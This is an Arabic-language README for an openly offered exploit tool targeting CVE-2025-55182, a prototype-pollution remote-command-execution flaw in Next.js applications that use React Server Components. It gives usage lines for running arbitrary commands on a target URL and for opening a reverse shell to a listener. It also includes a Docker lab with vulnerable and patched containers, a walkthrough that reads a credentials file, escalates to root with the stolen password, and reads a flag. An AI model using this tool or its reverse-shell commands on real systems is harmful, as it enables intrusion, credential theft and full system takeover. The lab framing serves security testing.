
يستغل CVE-2025-55182 لتنفيذ الأوامر عن بُعد عبر تلويث النموذج الأولي (prototype pollution).
المؤلف: Severian N.K.
تستغل هذه الأداة ثغرة تلويث النموذج الأولي (prototype pollution) في تطبيقات Next.js التي تستخدم مكونات React Server، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE). وهي تدعم تنفيذ الأوامر المباشرة والصدفة العكسية (reverse shells).
يستخدم هذا المشروع بيئة افتراضية بلغة Python لإدارة التبعيات. أولاً، تأكد من تثبيت Python 3.
إعداد البيئة الافتراضية:
python3 -m venv venv
تفعيل البيئة وتثبيت التبعيات:
source venv/bin/activate
pip install -r requirements.txt
تأكد من تفعيل البيئة الافتراضية (source venv/bin/activate) قبل تشغيل الأداة.
لتنفيذ أمر واحد على الهدف:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
مثال:
python3 exploit.py -u http://example.com -c "id"
للحصول على صدفة عكسية من الهدف:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
مثال:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
يحتوي مجلد lab/ على بيئتي Docker مستقلتين:
lab/vulnerable): يعمل على المنفذ 3000.lab/patched): يعمل على المنفذ 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
الوصول عبر: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
الوصول عبر: http://localhost:3001
يجب عليك تحديد عنوان IP للمستمع (--lhost) والمنفذ (--lport). يمكنك العثور على عنوان IP لجسر Docker باستخدام ip addr show docker0 (عادةً 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
ملاحظة: نستخدم
-P nc-mkfifoلأن الهدف يعمل بنظام Alpine Linux، الأمر الذي يتطلب نوع حمولة (payload) محددًا.
يُظهر الحاوية الضعيفة ملفًا سريًا.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
يمكنك تصعيد الصلاحيات من مستخدم nextjs إلى root باستخدام بيانات الاعتماد المخترقة.
su - manager (كلمة المرور: SuperSecret2025!)sudo su (كلمة المرور: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
المساهمات مرحب بها! إذا وجدت خطأً أو كانت لديك فكرة للتحسين، فيرجى فتح issue أو إرسال pull request.